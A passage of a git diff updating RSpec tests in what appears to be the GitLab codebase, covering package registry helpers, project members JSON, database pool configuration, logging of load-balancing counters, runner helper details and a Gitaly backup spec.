let_it_be(:base_url) { "#{Gitlab.config.gitlab.url}/api/v4/" }
- let_it_be(:project) { create(:project) }
- describe 'package_registry_instance_url' do
- it 'returns conant instance url when registry_type is conant' do
+ describe '#package_registry_instance_url' do
+ it 'returns conan instance url when registry_type is conant' do
url = helper.package_registry_instance_url(:conan)
expect(url).to eq("#{base_url}packages/conan")
@@ -20,7 +22,7 @@ RSpec.describe PackagesHelper do
end
end
- describe 'package_registry_project_url' do
+ describe '#package_registry_project_url' do
it 'returns maven registry url when registry_type is not provided' do
url = helper.package_registry_project_url(1)
@@ -34,7 +36,7 @@ RSpec.describe PackagesHelper do
end
end
- describe 'pypi_registry_url' do
+ describe '#pypi_registry_url' do
let_it_be(:base_url_with_token) { base_url.sub('://', '://__token__:<your_personal_token>@') }
it 'returns the pypi registry url' do
@@ -44,7 +46,7 @@ RSpec.describe PackagesHelper do
end
end
- describe 'composer_registry_url' do
+ describe '#composer_registry_url' do
it 'return the composer registry url' do
url = helper.composer_registry_url(1)
@@ -52,7 +54,7 @@ RSpec.describe PackagesHelper do
end
end
- describe 'composer_config_repository_name' do
+ describe '#composer_config_repository_name' do
let(:host) { Gitlab.config.gitlab.host }
let(:group_id) { 1 }
@@ -62,4 +64,157 @@ RSpec.describe PackagesHelper do
expect(id).to eq("#{host}/#{group_id}")
end
end
+
+ describe '#show_cleanup_policy_on_alert' do
+ let_it_be_with_reload(:container_repository) { create(:container_repository) }
+
+ subject { helper.show_cleanup_policy_on_alert(project.reload) }
+
+ where(:com, :config_registry, :project_registry, :historic_entries, :historic_entry, :nil_policy, :container_repositories_exist, :expected_result) do
+ false | false | false | false | false | false | false | false
+ false | false | false | false | false | false | true | false
+ false | false | false | false | false | true | false | false
+ false | false | false | false | false | true | true | false
+ false | false | false | false | true | false | false | false
+ false | false | false | false | true | false | true | false
+ false | false | false | false | true | true | false | false
+ false | false | false | false | true | true | true | false
+ false | false | false | true | false | false | false | false
+ false | false | false | true | false | false | true | false
+ false | false | false | true | false | true | false | false
+ false | false | false | true | false | true | true | false
+ false | false | false | true | true | false | false | false
+ false | false | false | true | true | false | true | false
+ false | false | false | true | true | true | false | false
+ false | false | false | true | true | true | true | false
+ false | false | true | false | false | false | false | false
+ false | false | true | false | false | false | true | false
+ false | false | true | false | false | true | false | false
+ false | false | true | false | false | true | true | false
+ false | false | true | false | true | false | false | false
+ false | false | true | false | true | false | true | false
+ false | false | true | false | true | true | false | false
+ false | false | true | false | true | true | true | false
+ false | false | true | true | false | false | false | false
+ false | false | true | true | false | false | true | false
+ false | false | true | true | false | true | false | false
+ false | false | true | true | false | true | true | false
+ false | false | true | true | true | false | false | false
+ false | false | true | true | true | false | true | false
+ false | false | true | true | true | true | false | false
+ false | false | true | true | true | true | true | false
+ false | true | false | false | false | false | false | false
+ false | true | false | false | false | false | true | false
+ false | true | false | false | false | true | false | false
+ false | true | false | false | false | true | true | false
+ false | true | false | false | true | false | false | false
+ false | true | false | false | true | false | true | false
+ false | true | false | false | true | true | false | false
+ false | true | false | false | true | true | true | false
+ false | true | false | true | false | false | false | false
+ false | true | false | true | false | false | true | false
+ false | true | false | true | false | true | false | false
+ false | true | false | true | false | true | true | false
+ false | true | false | true | true | false | false | false
+ false | true | false | true | true | false | true | false
+ false | true | false | true | true | true | false | false
+ false | true | false | true | true | true | true | false
+ false | true | true | false | false | false | false | false
+ false | true | true | false | false | false | true | false
+ false | true | true | false | false | true | false | false
+ false | true | true | false | false | true | true | false
+ false | true | true | false | true | false | false | false
+ false | true | true | false | true | false | true | false
+ false | true | true | false | true | true | false | false
+ false | true | true | false | true | true | true | false
+ false | true | true | true | false | false | false | false
+ false | true | true | true | false | false | true | false
+ false | true | true | true | false | true | false | false
+ false | true | true | true | false | true | true | false
+ false | true | true | true | true | false | false | false
+ false | true | true | true | true | false | true | false
+ false | true | true | true | true | true | false | false
+ false | true | true | true | true | true | true | false
+ true | false | false | false | false | false | false | false
+ true | false | false | false | false | false | true | false
+ true | false | false | false | false | true | false | false
+ true | false | false | false | false | true | true | false
+ true | false | false | false | true | false | false | false
+ true | false | false | false | true | false | true | false
+ true | false | false | false | true | true | false | false
+ true | false | false | false | true | true | true | false
+ true | false | false | true | false | false | false | false
+ true | false | false | true | false | false | true | false
+ true | false | false | true | false | true | false | false
+ true | false | false | true | false | true | true | false
+ true | false | false | true | true | false | false | false
+ true | false | false | true | true | false | true | false
+ true | false | false | true | true | true | false | false
+ true | false | false | true | true | true | true | false
+ true | false | true | false | false | false | false | false
+ true | false | true | false | false | false | true | false
+ true | false | true | false | false | true | false | false
+ true | false | true | false | false | true | true | false
+ true | false | true | false | true | false | false | false
+ true | false | true | false | true | false | true | false
+ true | false | true | false | true | true | false | false
+ true | false | true | false | true | true | true | false
+ true | false | true | true | false | false | false | false
+ true | false | true | true | false | false | true | false
+ true | false | true | true | false | true | false | false
+ true | false | true | true | false | true | true | false
+ true | false | true | true | true | false | false | false
+ true | false | true | true | true | false | true | false
+ true | false | true | true | true | true | false | false
+ true | false | true | true | true | true | true | false
+ true | true | false | false | false | false | false | false
+ true | true | false | false | false | false | true | false
+ true | true | false | false | false | true | false | false
+ true | true | false | false | false | true | true | false
+ true | true | false | false | true | false | false | false
+ true | true | false | false | true | false | true | false
+ true | true | false | false | true | true | false | false
+ true | true | false | false | true | true | true | false
+ true | true | false | true | false | false | false | false
+ true | true | false | true | false | false | true | false
+ true | true | false | true | false | true | false | false
+ true | true | false | true | false | true | true | false
+ true | true | false | true | true | false | false | false
+ true | true | false | true | true | false | true | false
+ true | true | false | true | true | true | false | false
+ true | true | false | true | true | true | true | false
+ true | true | true | false | false | false | false | false
+ true | true | true | false | false | false | true | false
+ true | true | true | false | false | true | false | false
+ true | true | true | false | false | true | true | false
+ true | true | true | false | true | false | false | false
+ true | true | true | false | true | false | true | false
+ true | true | true | false | true | true | false | false
+ true | true | true | false | true | true | true | true
+ true | true | true | true | false | false | false | false
+ true | true | true | true | false | false | true | false
+ true | true | true | true | false | true | false | false
+ true | true | true | true | false | true | true | false
+ true | true | true | true | true | false | false | false
+ true | true | true | true | true | false | true | false
+ true | true | true | true | true | true | false | false
+ true | true | true | true | true | true | true | false
+ end
+
+ with_them do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(com)
+ stub_config(registry: { enabled: config_registry })
+ allow(project).to receive(:container_registry_enabled).and_return(project_registry)
+ stub_application_setting(container_expiration_policies_enable_historic_entries: historic_entries)
+ stub_feature_flags(container_expiration_policies_historic_entry: false)
+ stub_feature_flags(container_expiration_policies_historic_entry: project) if historic_entry
+
+ project.container_expiration_policy.destroy! if nil_policy
+ container_repository.update!(project_id: project.id) if container_repositories_exist
+ end
+
+ it { is_expected.to eq(expected_result) }
+ end
+ end
end
diff --git a/spec/helpers/preferences_helper_spec.rb b/spec/helpers/preferences_helper_spec.rb
index 6be6d3670d4..ad2f142e3ff 100644
--- a/spec/helpers/preferences_helper_spec.rb
+++ b/spec/helpers/preferences_helper_spec.rb
@@ -143,4 +143,41 @@ RSpec.describe PreferencesHelper do
.and_return(double('user', messages))
end
end
+
+ describe '#integration_views' do
+ let(:gitpod_url) { 'http://gitpod.test' }
+
+ before do
+ allow(Gitlab::CurrentSettings).to receive(:gitpod_enabled).and_return(gitpod_enabled)
+ allow(Gitlab::CurrentSettings).to receive(:gitpod_url).and_return(gitpod_url)
+ end
+
+ context 'when Gitpod is not enabled' do
+ let(:gitpod_enabled) { false }
+
+ it 'does not include Gitpod integration' do
+ expect(helper.integration_views).to be_empty
+ end
+ end
+
+ context 'when Gitpod is enabled' do
+ let(:gitpod_enabled) { true }
+
+ it 'includes Gitpod integration' do
+ expect(helper.integration_views[0][:name]).to eq 'gitpod'
+ end
+
+ it 'returns the Gitpod url configured in settings' do
+ expect(helper.integration_views[0][:message_url]).to eq gitpod_url
+ end
+
+ context 'when Gitpod url is not set' do
+ let(:gitpod_url) { '' }
+
+ it 'returns the Gitpod default url' do
+ expect(helper.integration_views[0][:message_url]).to eq 'https://gitpod.io/'
+ end
+ end
+ end
+ end
end
diff --git a/spec/helpers/projects/alert_management_helper_spec.rb b/spec/helpers/projects/alert_management_helper_spec.rb
index 6f66a93b9ec..9895d06f93a 100644
--- a/spec/helpers/projects/alert_management_helper_spec.rb
+++ b/spec/helpers/projects/alert_management_helper_spec.rb
@@ -61,7 +61,7 @@ RSpec.describe Projects::AlertManagementHelper do
let(:cluster) { create(:cluster, projects: [project]) }
it 'has managed prometheus' do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
expect(data).to include(
'has-managed-prometheus' => 'true'
diff --git a/spec/helpers/projects/project_members_helper_spec.rb b/spec/helpers/projects/project_members_helper_spec.rb
index 90035f3e1c5..b180b5ec06f 100644
--- a/spec/helpers/projects/project_members_helper_spec.rb
+++ b/spec/helpers/projects/project_members_helper_spec.rb
@@ -147,16 +147,27 @@ RSpec.describe Projects::ProjectMembersHelper do
end
describe 'project members' do
- let_it_be(:project_members) { create_list(:project_member, 2, project: project) }
+ let_it_be(:members) { create_list(:project_member, 2, project: project) }
+ let_it_be(:group_links) { create_list(:project_group_link, 1, project: project) }
+ let_it_be(:invited) { create_list(:project_member, 2, :invited, project: project) }
+ let_it_be(:access_requests) { create_list(:project_member, 2, :access_request, project: project) }
- let(:collection) { project_members }
- let(:presented_members) { present_members(collection) }
+ let(:members_collection) { members }
- describe '#project_members_list_data_json' do
+ describe '#project_members_app_data_json' do
let(:allow_admin_project) { true }
- let(:pagination) { {} }
- subject { Gitlab::Json.parse(helper.project_members_list_data_json(project, presented_members, pagination)) }
+ subject do
+ Gitlab::Json.parse(
+ helper.project_members_app_data_json(
+ project,
+ members: present_members(members_collection),
+ group_links: group_links,
+ invited: present_members(invited),
+ access_requests: present_members(access_requests)
+ )
+ )
+ end
before do
allow(helper).to receive(:project_project_member_path).with(project, ':id').and_return('/foo-bar/-/project_members/:id')
@@ -164,7 +175,6 @@ RSpec.describe Projects::ProjectMembersHelper do
it 'returns expected json' do
expected = {
- member_path: '/foo-bar/-/project_members/:id',
source_id: project.id,
can_manage_members: true
}.as_json
@@ -172,8 +182,12 @@ RSpec.describe Projects::ProjectMembersHelper do
expect(subject).to include(expected)
end
- it 'returns `members` property that matches json schema' do
- expect(subject['members'].to_json).to match_schema('members')
+ it 'sets `members` property that matches json schema' do
+ expect(subject['user']['members'].to_json).to match_schema('members')
+ end
+
+ it 'sets `member_path` property' do
+ expect(subject['user']['member_path']).to eq('/foo-bar/-/project_members/:id')
end
context 'when pagination is not available' do
@@ -186,13 +200,12 @@ RSpec.describe Projects::ProjectMembersHelper do
params: {}
}.as_json
- expect(subject['pagination']).to include(expected)
+ expect(subject['invite']['pagination']).to include(expected)
end
end
context 'when pagination is available' do
- let(:collection) { Kaminari.paginate_array(project_members).page(1).per(1) }
- let(:pagination) { { param_name: :page, params: { search_groups: nil } } }
+ let(:members_collection) { Kaminari.paginate_array(members).page(1).per(1) }
it 'sets `pagination` attribute to expected json' do
expected = {
@@ -203,45 +216,9 @@ RSpec.describe Projects::ProjectMembersHelper do
params: { search_groups: nil }
}.as_json
- expect(subject['pagination']).to match(expected)
+ expect(subject['user']['pagination']).to match(expected)
end
end
end
end
-
- describe 'project group links' do
- let_it_be(:project_group_links) { create_list(:project_group_link, 1, project: project) }
-
- let(:allow_admin_project) { true }
-
- describe '#project_group_links_list_data_json' do
- subject { Gitlab::Json.parse(helper.project_group_links_list_data_json(project, project_group_links)) }
-
- before do
- allow(helper).to receive(:project_group_link_path).with(project, ':id').and_return('/foo-bar/-/group_links/:id')
- allow(helper).to receive(:can?).with(current_user, :admin_project_member, project).and_return(true)
- end
-
- it 'returns expected json' do
- expected = {
- pagination: {
- current_page: nil,
- per_page: nil,
- total_items: 1,
- param_name: nil,
- params: {}
- },
- member_path: '/foo-bar/-/group_links/:id',
- source_id: project.id,
- can_manage_members: true
- }.as_json
-
- expect(subject).to include(expected)
- end
-
- it 'returns `members` property that matches json schema' do
- expect(subject['members'].to_json).to match_schema('group_link/project_group_links')
- end
- end
- end
end
diff --git a/spec/helpers/registrations_helper_spec.rb b/spec/helpers/registrations_helper_spec.rb
index 00d0a0850cd..fa647548b3c 100644
--- a/spec/helpers/registrations_helper_spec.rb
+++ b/spec/helpers/registrations_helper_spec.rb
@@ -26,4 +26,10 @@ RSpec.describe RegistrationsHelper do
it { is_expected.to eq(result) }
end
end
+
+ describe '#signup_username_data_attributes' do
+ it 'has expected attributes' do
+ expect(helper.signup_username_data_attributes.keys).to include(:min_length, :min_length_message, :max_length, :max_length_message, :qa_selector)
+ end
+ end
end
diff --git a/spec/helpers/user_callouts_helper_spec.rb b/spec/helpers/user_callouts_helper_spec.rb
index 3dbaa655aeb..f68da45bb9a 100644
--- a/spec/helpers/user_callouts_helper_spec.rb
+++ b/spec/helpers/user_callouts_helper_spec.rb
@@ -61,26 +61,6 @@ RSpec.describe UserCalloutsHelper do
end
end
- describe '.show_admin_integrations_moved?' do
- subject { helper.show_admin_integrations_moved? }
-
- context 'when user has not dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).with(described_class::ADMIN_INTEGRATIONS_MOVED) { false }
- end
-
- it { is_expected.to be true }
- end
-
- context 'when user dismissed' do
- before do
- allow(helper).to receive(:user_dismissed?).with(described_class::ADMIN_INTEGRATIONS_MOVED) { true }
- end
-
- it { is_expected.to be false }
- end
- end
-
describe '.show_service_templates_deprecated_callout?' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/helpers/webpack_helper_spec.rb b/spec/helpers/webpack_helper_spec.rb
index f9386c99dc3..f9e2d265153 100644
--- a/spec/helpers/webpack_helper_spec.rb
+++ b/spec/helpers/webpack_helper_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe WebpackHelper do
describe '#webpack_preload_asset_tag' do
before do
allow(Gitlab::Webpack::Manifest).to receive(:asset_paths).and_return([asset_path])
+ allow(helper).to receive(:content_security_policy_nonce).and_return('noncevalue')
end
it 'preloads the resource by default' do
@@ -22,7 +23,7 @@ RSpec.describe WebpackHelper do
output = helper.webpack_preload_asset_tag(source)
- expect(output).to eq("<link rel=\"preload\" href=\"#{asset_path}\" as=\"script\" type=\"text/javascript\">")
+ expect(output).to eq("<link rel=\"preload\" href=\"#{asset_path}\" as=\"script\" type=\"text/javascript\" nonce=\"noncevalue\">")
end
it 'prefetches the resource if explicitly asked' do
diff --git a/spec/initializers/database_config_spec.rb b/spec/initializers/database_config_spec.rb
index ccd69de0b3a..f1b353d4012 100644
--- a/spec/initializers/database_config_spec.rb
+++ b/spec/initializers/database_config_spec.rb
@@ -7,8 +7,15 @@ RSpec.describe 'Database config initializer' do
load Rails.root.join('config/initializers/database_config.rb')
end
+ around do |example|
+ original_config = ActiveRecord::Base.connection_db_config
+
+ example.run
+
+ ActiveRecord::Base.establish_connection(original_config)
+ end
+
before do
- allow(ActiveRecord::Base).to receive(:establish_connection)
allow(Gitlab::Runtime).to receive(:max_threads).and_return(max_threads)
end
@@ -21,6 +28,8 @@ RSpec.describe 'Database config initializer' do
it "sets it based on the max number of worker threads" do
expect { subject }.to change { Gitlab::Database.config['pool'] }.from(nil).to(18)
+
+ expect(ActiveRecord::Base.connection_db_config.pool).to eq(18)
end
end
@@ -31,6 +40,8 @@ RSpec.describe 'Database config initializer' do
it "sets it based on the max number of worker threads" do
expect { subject }.to change { Gitlab::Database.config['pool'] }.from(1).to(18)
+
+ expect(ActiveRecord::Base.connection_db_config.pool).to eq(18)
end
end
@@ -41,6 +52,8 @@ RSpec.describe 'Database config initializer' do
it "sets it based on the max number of worker threads" do
expect { subject }.to change { Gitlab::Database.config['pool'] }.from(100).to(18)
+
+ expect(ActiveRecord::Base.connection_db_config.pool).to eq(18)
end
end
@@ -56,15 +69,16 @@ RSpec.describe 'Database config initializer' do
expect { subject }.to change { Gitlab::Database.config['pool'] }
.from(1)
.to(max_threads + headroom)
+
+ expect(ActiveRecord::Base.connection_db_config.pool).to eq(max_threads + headroom)
end
end
def stub_database_config(pool_size:)
- config = {
- 'adapter' => 'postgresql',
- 'host' => 'db.host.com',
- 'pool' => pool_size
- }.compact
+ original_config = Gitlab::Database.config
+
+ config = original_config.dup
+ config['pool'] = pool_size
allow(Gitlab::Database).to receive(:config).and_return(config)
end
diff --git a/spec/initializers/global_id_spec.rb b/spec/initializers/global_id_spec.rb
new file mode 100644
index 00000000000..63bfa32d74f
--- /dev/null
+++ b/spec/initializers/global_id_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'global_id' do
+ it 'prepends `Gitlab::Patch::GlobalID`' do
+ expect(GlobalID.ancestors).to include(Gitlab::Patch::GlobalID)
+ end
+
+ it 'patches GlobalID to find aliased models when a deprecation exists' do
+ allow(Gitlab::GlobalId::Deprecations).to receive(:deprecation_for).and_call_original
+ allow(Gitlab::GlobalId::Deprecations).to receive(:deprecation_for).with('Issue').and_return(double(new_model_name: 'Project'))
+ project = create(:project)
+ gid_string = Gitlab::GlobalId.build(model_name: Issue.name, id: project.id).to_s
+
+ expect(GlobalID.new(gid_string)).to have_attributes(
+ to_s: gid_string,
+ model_name: 'Project',
+ model_class: Project,
+ find: project
+ )
+ end
+
+ it 'works as normal when no deprecation exists' do
+ issue = create(:issue)
+ gid_string = Gitlab::GlobalId.build(model_name: Issue.name, id: issue.id).to_s
+
+ expect(GlobalID.new(gid_string)).to have_attributes(
+ to_s: gid_string,
+ model_name: 'Issue',
+ model_class: Issue,
+ find: issue
+ )
+ end
+end
diff --git a/spec/initializers/lograge_spec.rb b/spec/initializers/lograge_spec.rb
index 421f6373eff..651b0c8a9b8 100644
--- a/spec/initializers/lograge_spec.rb
+++ b/spec/initializers/lograge_spec.rb
@@ -120,6 +120,7 @@ RSpec.describe 'lograge', type: :request do
context 'with a log subscriber' do
include_context 'parsed logs'
+ include_context 'clear DB Load Balancing configuration'
let(:subscriber) { Lograge::LogSubscribers::ActionController.new }
@@ -195,9 +196,25 @@ RSpec.describe 'lograge', type: :request do
end
context 'with db payload' do
+ let(:db_load_balancing_logging_keys) do
+ %w[
+ db_primary_wal_count
+ db_replica_wal_count
+ db_replica_count
+ db_replica_cached_count
+ db_primary_count
+ db_primary_cached_count
+ db_primary_duration_s
+ db_replica_duration_s
+ ]
+ end
+
+ before do
+ ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ end
+
context 'when RequestStore is enabled', :request_store do
it 'includes db counters' do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
subscriber.process_action(event)
expect(log_data).to include("db_count" => a_value >= 1, "db_write_count" => 0, "db_cached_count" => 0)
@@ -206,12 +223,47 @@ RSpec.describe 'lograge', type: :request do
context 'when RequestStore is disabled' do
it 'does not include db counters' do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
subscriber.process_action(event)
expect(log_data).not_to include("db_count", "db_write_count", "db_cached_count")
end
end
+
+ context 'when load balancing is enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ context 'with db payload' do
+ context 'when RequestStore is enabled', :request_store do
+ it 'includes db counters for load balancing' do
+ subscriber.process_action(event)
+
+ expect(log_data).to include(*db_load_balancing_logging_keys)
+ end
+ end
+
+ context 'when RequestStore is disabled' do
+ it 'does not include db counters for load balancing' do
+ subscriber.process_action(event)
+
+ expect(log_data).not_to include(*db_load_balancing_logging_keys)
+ end
+ end
+ end
+ end
+
+ context 'when load balancing is disabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
+ end
+
+ it 'does not include db counters for load balancing' do
+ subscriber.process_action(event)
+
+ expect(log_data).not_to include(*db_load_balancing_logging_keys)
+ end
+ end
end
end
end
diff --git a/spec/initializers/mailer_retries_spec.rb b/spec/initializers/mailer_retries_spec.rb
new file mode 100644
index 00000000000..c1e56784ad9
--- /dev/null
+++ b/spec/initializers/mailer_retries_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Mailer retries' do
+ # We need to ensure that this runs through Sidekiq to take
+ # advantage of the middleware. There is a Rails bug that means we
+ # have to do some extra steps to make this happen:
+ # https://github.com/rails/rails/issues/37270#issuecomment-553927324
+ around do |example|
+ descendants = ActiveJob::Base.descendants + [ActiveJob::Base]
+ descendants.each(&:disable_test_adapter)
+ ActiveJob::Base.queue_adapter = :sidekiq
+
+ example.run
+
+ descendants.each { |a| a.queue_adapter = :test }
+ end
+
+ it 'sets retries for mailers to 3', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332645' do
+ DeviseMailer.user_admin_approval(create(:user)).deliver_later
+
+ expect(Sidekiq::Queues['mailers'].first).to include('retry' => 3)
+ end
+end
diff --git a/spec/lib/api/entities/merge_request_basic_spec.rb b/spec/lib/api/entities/merge_request_basic_spec.rb
index 8572b067984..b9d6ab7a652 100644
--- a/spec/lib/api/entities/merge_request_basic_spec.rb
+++ b/spec/lib/api/entities/merge_request_basic_spec.rb
@@ -9,11 +9,22 @@ RSpec.describe ::API::Entities::MergeRequestBasic do
let_it_be(:labels) { create_list(:label, 3) }
let_it_be(:merge_requests) { create_list(:labeled_merge_request, 10, :unique_branches, labels: labels) }
+ let_it_be(:entity) { described_class.new(merge_request) }
+
# This mimics the behavior of the `Grape::Entity` serializer
def present(obj)
described_class.new(obj).presented
end
+ subject { entity.as_json }
+
+ it 'includes basic fields' do
+ is_expected.to include(
+ draft: merge_request.draft?,
+ work_in_progress: merge_request.draft?
+ )
+ end
+
context "with :with_api_entity_associations scope" do
let(:scope) { MergeRequest.with_api_entity_associations }
diff --git a/spec/lib/api/helpers/runner_helpers_spec.rb b/spec/lib/api/helpers/runner_helpers_spec.rb
new file mode 100644
index 00000000000..65b35845aab
--- /dev/null
+++ b/spec/lib/api/helpers/runner_helpers_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Helpers::Runner do
+ let(:ip_address) { '1.2.3.4' }
+ let(:runner_class) do
+ Class.new do
+ include API::Helpers
+ include API::Helpers::Runner
+
+ attr_accessor :params
+
+ def initialize(params)
+ @params = params
+ end
+
+ def ip_address
+ '1.2.3.4'
+ end
+ end
+ end
+
+ let(:runner_helper) { runner_class.new(runner_params) }
+
+ describe '#get_runner_details_from_request' do
+ context 'when no runner info is present' do
+ let(:runner_params) { {} }
+
+ it 'returns the runner IP' do
+ expect(runner_helper.get_runner_details_from_request).to eq({ ip_address: ip_address })
+ end
+ end
+
+ context 'when runner info is present' do
+ let(:name) { 'runner' }
+ let(:version) { '1.2.3' }
+ let(:revision) { '10.0' }
+ let(:platform) { 'test' }
+ let(:architecture) { 'arm' }
+ let(:config) { { 'gpus' => 'all' } }
+ let(:runner_params) do
+ {
+ 'info' =>
+ {
+ 'name' => name,
+ 'version' => version,
+ 'revision' => revision,
+ 'platform' => platform,
+ 'architecture' => architecture,
+ 'config' => config,
+ 'ignored' => 1
+ }
+ }
+ end
+
+ subject(:details) { runner_helper.get_runner_details_from_request }
+
+ it 'extracts the runner details', :aggregate_failures do
+ expect(details.keys).to match_array(%w(name version revision platform architecture config ip_address))
+ expect(details['name']).to eq(name)
+ expect(details['version']).to eq(version)
+ expect(details['revision']).to eq(revision)
+ expect(details['platform']).to eq(platform)
+ expect(details['architecture']).to eq(architecture)
+ expect(details['config']).to eq(config)
+ expect(details['ip_address']).to eq(ip_address)
+ end
+ end
+ end
+end
diff --git a/spec/lib/api/helpers/runner_spec.rb b/spec/lib/api/helpers/runner_spec.rb
new file mode 100644
index 00000000000..e55c20b7ab6
--- /dev/null
+++ b/spec/lib/api/helpers/runner_spec.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Helpers::Runner do
+ let(:helper) { Class.new { include API::Helpers::Runner }.new }
+
+ before do
+ allow(helper).to receive(:env).and_return({})
+ end
+
+ describe '#current_job' do
+ let(:build) { create(:ci_build, :running) }
+
+ it 'handles sticking of a build when a build ID is specified' do
+ allow(helper).to receive(:params).and_return(id: build.id)
+
+ expect(Gitlab::Database::LoadBalancing::RackMiddleware)
+ .to receive(:stick_or_unstick)
+ .with({}, :build, build.id)
+
+ helper.current_job
+ end
+
+ it 'does not handle sticking if no build ID was specified' do
+ allow(helper).to receive(:params).and_return({})
+
+ expect(Gitlab::Database::LoadBalancing::RackMiddleware)
+ .not_to receive(:stick_or_unstick)
+
+ helper.current_job
+ end
+
+ it 'returns the build if one could be found' do
+ allow(helper).to receive(:params).and_return(id: build.id)
+
+ expect(helper.current_job).to eq(build)
+ end
+ end
+
+ describe '#current_runner' do
+ let(:runner) { create(:ci_runner, token: 'foo') }
+
+ it 'handles sticking of a runner if a token is specified' do
+ allow(helper).to receive(:params).and_return(token: runner.token)
+
+ expect(Gitlab::Database::LoadBalancing::RackMiddleware)
+ .to receive(:stick_or_unstick)
+ .with({}, :runner, runner.token)
+
+ helper.current_runner
+ end
+
+ it 'does not handle sticking if no token was specified' do
+ allow(helper).to receive(:params).and_return({})
+
+ expect(Gitlab::Database::LoadBalancing::RackMiddleware)
+ .not_to receive(:stick_or_unstick)
+
+ helper.current_runner
+ end
+
+ it 'returns the runner if one could be found' do
+ allow(helper).to receive(:params).and_return(token: runner.token)
+
+ expect(helper.current_runner).to eq(runner)
+ end
+ end
+end
diff --git a/spec/lib/api/helpers_spec.rb b/spec/lib/api/helpers_spec.rb
index 87cd0d4388c..6e48ee4c315 100644
--- a/spec/lib/api/helpers_spec.rb
+++ b/spec/lib/api/helpers_spec.rb
@@ -7,6 +7,66 @@ RSpec.describe API::Helpers do
subject { Class.new.include(described_class).new }
+ describe '#current_user' do
+ include Rack::Test::Methods
+
+ let(:user) { build(:user, id: 42) }
+
+ let(:helper) do
+ Class.new(Grape::API::Instance) do
+ helpers API::APIGuard::HelperMethods
+ helpers API::Helpers
+ format :json
+
+ get 'user' do
+ current_user ? { id: current_user.id } : { found: false }
+ end
+
+ get 'protected' do
+ authenticate_by_gitlab_geo_node_token!
+ end
+ end
+ end
+
+ def app
+ helper
+ end
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ it 'handles sticking when a user could be found' do
+ allow_any_instance_of(API::Helpers).to receive(:initial_current_user).and_return(user)
+
+ expect(Gitlab::Database::LoadBalancing::RackMiddleware)
+ .to receive(:stick_or_unstick).with(any_args, :user, 42)
+
+ get 'user'
+
+ expect(Gitlab::Json.parse(last_response.body)).to eq({ 'id' => user.id })
+ end
+
+ it 'does not handle sticking if no user could be found' do
+ allow_any_instance_of(API::Helpers).to receive(:initial_current_user).and_return(nil)
+
+ expect(Gitlab::Database::LoadBalancing::RackMiddleware)
+ .not_to receive(:stick_or_unstick)
+
+ get 'user'
+
+ expect(Gitlab::Json.parse(last_response.body)).to eq({ 'found' => false })
+ end
+
+ it 'returns the user if one could be found' do
+ allow_any_instance_of(API::Helpers).to receive(:initial_current_user).and_return(user)
+
+ get 'user'
+
+ expect(Gitlab::Json.parse(last_response.body)).to eq({ 'id' => user.id })
+ end
+ end
+
describe '#find_project' do
let(:project) { create(:project) }
diff --git a/spec/lib/backup/gitaly_backup_spec.rb b/spec/lib/backup/gitaly_backup_spec.rb
new file mode 100644
index 00000000000..13567ead842
--- /dev/null
+++ b/spec/lib/backup/gitaly_backup_spec.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Backup::GitalyBackup do
+ let(:progress) do
+ Tempfile.new('progress').tap do |progress|
+ progress.unlink
+ end
+ end
+
+ after do
+ progress.close
+ end
+
+ subject { described_class.new(progress) }
+
+ context 'unknown' do
+ it 'fails to start unknown' do
+ expect { subject.start(:unknown) }.to raise_error(::Backup::Error, 'unknown backup type: unknown')
+ end
+ end
+
+ context 'create' do
+ RSpec.shared_examples 'creates a repository backup' do
+ it 'creates repository bundles', :aggregate_failures do
+ # Add data to the wiki, design repositories, and snippets, so they will be included in the dump.
+ create(:wiki_page, container: project)
+ create(:design, :with_file, issue: create(:issue, project: project))
+ project_snippet = create(:project_snippet, :repository, project: project)
+ personal_snippet = create(:personal_snippet, :repository, author: project.owner)
+
+ subject.start(:create)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.enqueue(project, Gitlab::GlRepository::WIKI)
+ subject.enqueue(project, Gitlab::GlRepository::DESIGN)
+ subject.enqueue(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.enqueue(project_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.wait
+
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.wiki.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.design.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', personal_snippet.disk_path + '.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project_snippet.disk_path + '.bundle'))
+ end
+
+ it 'raises when the exit code not zero' do
+ expect(subject).to receive(:bin_path).and_return(Gitlab::Utils.which('false'))
+
+ subject.start(:create)
+ expect { subject.wait }.to raise_error(::Backup::Error, 'gitaly-backup exit status 1')
+ end
+ end
+
+ context 'hashed storage' do
+ let_it_be(:project) { create(:project, :repository) }
+
+ it_behaves_like 'creates a repository backup'
+ end
+
+ context 'legacy storage' do
+ let_it_be(:project) { create(:project, :repository, :legacy_storage) }
+
